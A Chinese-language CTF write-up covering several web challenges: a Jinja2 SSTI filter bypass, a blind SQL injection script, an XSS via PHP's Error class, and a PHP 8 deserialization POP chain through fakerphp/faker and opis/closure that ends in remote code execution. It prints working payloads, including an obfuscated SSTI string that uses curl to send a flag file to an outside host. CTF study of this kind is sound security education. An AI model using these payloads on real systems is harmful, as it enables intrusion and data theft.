前言
大师傅们都太强了,被自己菜哭了QAQ
Ez to getflag
网站有两个功能点,一个图片上传一个图片查看。其中图片查看功能可以通过GET参数进行任意文件读取。不知道是不是出题人没配好环境的原因。。
Harddisk
开局一个框。经过各种测试后感觉像Python后端,测试存在SSTI
粗略Fuzz了下,大致过滤了如下关键字
空格 {{}} [] __ . ' print os popen read class base ...
SSTI的绕过可以参考以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用,总结的很全。本题的绕过方式如下
#%0d绕过 空格 #使用{% if payload %}1{% endif %}的形式,但无回显,需要curl外带 {{}} print #使用|attr()过滤器绕过,配合Unicode编码绕过关键字 [] __ . \x class base #"绕过 '' #""拆分关键字绕过 os popen read ...
最终可以构造出如下Payload
{%%0dif%0d()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(219)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("o""s")|attr("po""pen")("curl${IFS}http://795653328:8888?`cat${IFS}/f*`")|attr("re""ad")()%}1{%%0dendif%0d%}
这里由于.
被过滤,可以使用ip地址的十进制形式绕过,转换工具
绝对防御
翻js文件static/alerttip.js
可以发现存在可疑路径
访问可以看见js源码
function getQueryVariable(variable) { var query = window.location.search.substring(1); var vars = query.split("&"); for (var i=0;i<vars.length;i++) { var pair = vars[i].split("="); if(pair[0] == variable){return pair[1];} } return(false); } function check(){ var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im; if (reg.test(getQueryVariable("id"))) { alert("提示:您输入的信息含有非法字符!"); window.location.href = "/" } }
能够GET传参id
,并且前端过滤了一些特殊字符,测试id存在sql盲注,脚本如下
import requests proxy={"http":"http://127.0.0.1:8080/"} url="http://ab937290-72fe-43aa-b3d5-92d1ab587d34.node4.buuoj.cn:81/SUPPERAPI.php?id=" flag='' for i in range(1,200): print("------------------"+str(i)+"------------------") low=32 high=128 mid=(low+high)//2 while low<high: #ctf # paylaod="2 and ascii(substr((select database()),{},1))>{}".format(i,mid) #user # paylaod = "2 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}".format(i, mid) #id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password # paylaod = "2 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}".format(i, mid) # admin123!,DASCTF{1436c038-a5ac-42a6-bb8b-e34a4769b7fe} paylaod = "2 and ascii(substr((select group_concat(password) from users),{},1))>{}".format(i, mid) r=requests.get(url+paylaod,proxies=proxy) # print(str(low) + ':' + str(mid) + ':' + str(high)) if "flag" in r.text: # print(r.text) low = mid + 1 else: high = mid mid = (low + high) // 2 if mid == 32 or mid == 127: break flag += chr(mid) print(flag)
Newser(0解)
Cookie能够反序列化base64字符串
简单看了一下链子,这道题只给了一个User类,并且没有什么明显可以利用的地方,只有__destruct
方法可以利用
public function __destruct() { echo "User ".$this->instance->_username." has created."; }
乍一看有点像原生类的利用。这里可以将_username
赋值为原生类,然后字符串拼接调用原生类的__toString
方法。但是要注意这里的原生类不是通过关键字new
来实例化的,而是通过序列化字符串来进行实例化的。
对于常用的几个原生类,在PHP8的环境下大部分都不能被序列化
但是我们可以通过Error类
来进行XSS
public function __construct($username, $password, $email) { $this->email = $email; $this->username = $username; $this->password = $password; $this->instance = $this; $this->_username = new Error("<script>alter(/1/)</script>"); }
但是没有想到怎么利用XSS进行下一步攻击。这里我尝试利用XSS探测内网,但是没有成功。
PHP Composer
Composer是PHP中用于管理依赖的工具,类似Java中的Maven。通过配置composer.json文件,我们能够方便地管理本地和第三方依赖。一个简单的示例如下
{ "require": { "fakerphp/faker": "^1.19", "opis/closure": "^3.6" } }
配置好composer.json文件之后,可以通过composer install
来下载第三方依赖。其中各种第三方依赖以及插件都会被自动放置在vendor
文件夹下,我们可以通过包含vendor/autoload.php
文件来自动引入所需依赖文件。目录结构如下
本题存在composer.json
文件泄露,如下
序列化闭包
在PHP5.3之后,引入了函数闭包这个语法(又称匿名函数)。通过闭包我们能够声明一个没有名字的函数,并将其赋值给一个变量。我们也可以通过回调函数来调用闭包
<?php $func = function($b){ return $b**$b; }; echo $func(3); //output:27 echo call_user_func($func,3); //output:27
那么闭包能否被序列化呢?我们来测试一下
<?php $func = function($b){ return $b**$b; }; try{ $s = serialize($func); var_dump($s); }catch (Exception $e){ echo $e; }
正常情况下闭包是不能被序列化的,并且我们也能发现闭包实际上就是一个Closure
类
final class Closure { private function __construct() {} public function __invoke(...$_) {} public function bindTo(?object $newThis, object|string|null $newScope = 'static') {} public function call(object $newThis, mixed ...$args) {} public static function fromCallable(callable $callback) {} }
我们可以引入第三方依赖opis/closure
来序列化闭包
<?php include("vendor/autoload.php"); $func = function($b){ return $b**$b; }; try{ $s = \Opis\Closure\serialize($func); var_dump($s); }catch (Exception $e){ echo $e; } //output: //string(205) "C:32:"Opis\Closure\SerializableClosure":159:{a:5:{s:3:"use";a:0:{}s:8:"function";s:36:"function($b){ // return $b**$b; //}";s:5:"scope";N;s:4:"this";N;s:4:"self";s:32:"000000007a8a9d390000000012397df7";}}"
在使用opis/closure
序列化闭包时,会将原本的Closure
类包装成Opis\Closure\SerializableClosure
类,反序列化时再将其转回Closure
类,这里对比原生的unserialize
<?php include("vendor/autoload.php"); $func = function($b){ return $b**$b; }; try{ $s = \Opis\Closure\serialize($func); // var_dump($s); }catch (Exception $e){ echo $e; } var_dump(\Opis\Closure\unserialize($s)); //output: //object(Closure)#7 (1) { // ["parameter"]=> // array(1) { // ["$b"]=> // string(10) "<required>" // } //} var_dump(unserialize($s)); //output: //object(Opis\Closure\SerializableClosure)#7 (5) { //["closure":protected]=> // object(Closure)#4 (1) { // ["parameter"]=> // array(1) { // ["$b"]=> // string(10) "<required>" // } // } // ["reflector":protected]=> // NULL // ["code":protected]=> // string(36) "function($b){ // return $b**$b; //}" //["reference":protected]=> // NULL // ["scope":protected]=> // NULL //}
原生反序列化完闭包之后仍然是Opis\Closure\SerializableClosure
类,但是两种方法反序列化处理后都可正常回调
var_dump(call_user_func(unserialize($s),3)); var_dump(call_user_func(\Opis\Closure\unserialize($s),3)); //output: //int(27) //int(27)
在往年的赛题中,也有考过反序列化闭包配合回调函数RCE的思路。
POP链构造
题目只给出了一个User类,我们可以利用第三方依赖来完成POP链的构造。注意到题目引入了fakerphp/faker
这个依赖。在其Generator
类中存在回调
public function format($format, $arguments = []) { return call_user_func_array($this->getFormatter($format), $arguments); }
在其__get
函数中调用了format函数
public function __get($attribute) { trigger_deprecation('fakerphp/faker', '1.14', 'Accessing property "%s" is deprecated, use "%s()" instead.', $attribute, $attribute); return $this->format($attribute); }
而上文提到过,User类中的__desturct
可以触发任意类的__get
方法
public function __destruct() { echo "User ".$this->instance->_username." has created."; }
这就构成了一条完美的利用链
User::__destruct-> Generator::__get-> Generator::format-> call_user_func_array
PHP8绕过__wakeup置空
注意到\Faker\Generator
中,回调函数的第一个参数是通过formatters
数组来赋值的。但在\Faker\Generator
的__wakeup
方法中会对formatters
进行置空
public function __wakeup() { $this->formatters = []; }
这里需要绕过__wakeup
。在低版本PHP中(PHP5<5.6.25,PHP7 < 7.0.10)存在__wakeup
绕过漏洞(CVE-2016-7124)。但本题的环境是PHP8,我们可以利用引用来绕过wakeup中的属性置空操作。
我们先来看下面的例子
<?php class test1{ public $t1; public function __construct($obj){ echo 1; $this->t1 = &$obj->t2; } public function __wakeup(){ echo 3; $this->t1=NULL; } } class test2{ public $elem; public $t2; public $obj; public function __construct(){ echo 2; $this->elem = "feng"; $this->obj = new test1($this); } public function __wakeup(){ echo 4; $this->t2 = $this->elem; } } $t = new test2(); $s = serialize($t); //echo $s; $t2 = unserialize($s); echo $t2->obj->t1; //output:2134feng
我们想绕过test1的__wakeup
置空,可以将被置空的属性t1
和test2类中的属性t2
通过引用“绑定”起来。现在操作t2
就相当于操作t1
。然后我们将test1对象作为test2的一个属性,当test2被反序列化时,PHP会优先解析类属性,因此test1作为test2的一个属性会被先反序列化成一个类。等test2的所有属性都被解析完之后才会被反序列化成一个类。
因此test2的__wakeup
在test1的__wakeup
之后被调用,在属性t1被置空之后,再通过test2的__wakeup
进行赋值,这样就绕过了test1的__wakeup
置空限制。
理解了上面的原理,下面我们就可以构造出题目的POP链了
<?php namespace { class User{ protected $_password; public $password; private $instance; public function __construct(){ $this->instance = new Faker\Generator($this); $this->_password = ["_username"=>"phpinfo"]; } } $payload=str_replace("s:8:\"password\"","s:14:\"".urldecode("%00")."User".urldecode("%00")."password\"",serialize(new User())); // echo $payload; echo base64_encode($payload); } namespace Faker{ class Generator{ protected $formatters; public function __construct($obj){ $this->formatters = &$obj->password; } } }
由于需要在类外调用password
属性,因此我们先将其标识为public,序列化之后再改为private
下面我们可以通过反序列化闭包来进行RCE
<?php namespace { include("vendor/autoload.php"); class User{ protected $_password; public $password; private $instance; public function __construct(){ $func = function (){ system("ls /"); }; $b=\Opis\Closure\serialize($func); $c=unserialize($b); $this->instance = new Faker\Generator($this); $this->_password = ["_username"=>$c]; } } $payload=str_replace("s:8:\"password\"","s:14:\"".urldecode("%00")."User".urldecode("%00")."password\"",serialize(new User())); // echo $payload; echo base64_encode($payload); } namespace Faker{ class Generator{ protected $formatters; public function __construct($obj){ $this->formatters = &$obj->password; } } }
师傅很强
同學您好
看了你幾篇ctf的文章
不知道是否能問問你幾題web ctf的題目